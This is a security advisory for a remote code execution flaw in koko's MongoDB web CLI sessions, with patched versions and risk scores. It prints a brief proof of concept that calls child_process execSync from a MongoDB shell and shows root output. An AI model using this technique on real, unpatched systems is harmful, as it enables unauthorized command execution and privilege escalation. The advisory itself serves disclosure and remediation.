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GHSA-4r5x-x283-wm96

MediumCVSS 6.4 / 10
Published Oct 24, 2023·Last modified Nov 8, 2023
Affected Components(0)

No affected components available

Description

Impact

An authenticated user can exploit a vulnerability in MongoDB sessions to execute arbitrary commands, leading to remote code execution. This vulnerability may further be leveraged to gain root privileges on the host system.

Details

Through the WEB CLI interface provided by koko, a user logs into the authorized mongoDB database and exploits the MongoDB session to execute arbitrary commands.

admin> const { execSync } = require("child_process")
admin> console.log(execSync("id; hostname;").toString())
uid=0(root) gid=0(root) groups=0(root)
jms_koko
admin>

Patches

Safe versions:

  • v2.28.20
  • v3.7.1

Workarounds

It is recommended to upgrade the safe versions.

After upgrade, you can use the same method to check whether the vulnerability is fixed.

admin> console.log(execSync("id; hostname;").toString())
/bin/sh: line 1: /bin/hostname: Permission denied

References

Thanks for Oskar Zeino-Mahmalat of Sonar found and report this vulnerability

Risk Scores
Base Score
6.4

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
5.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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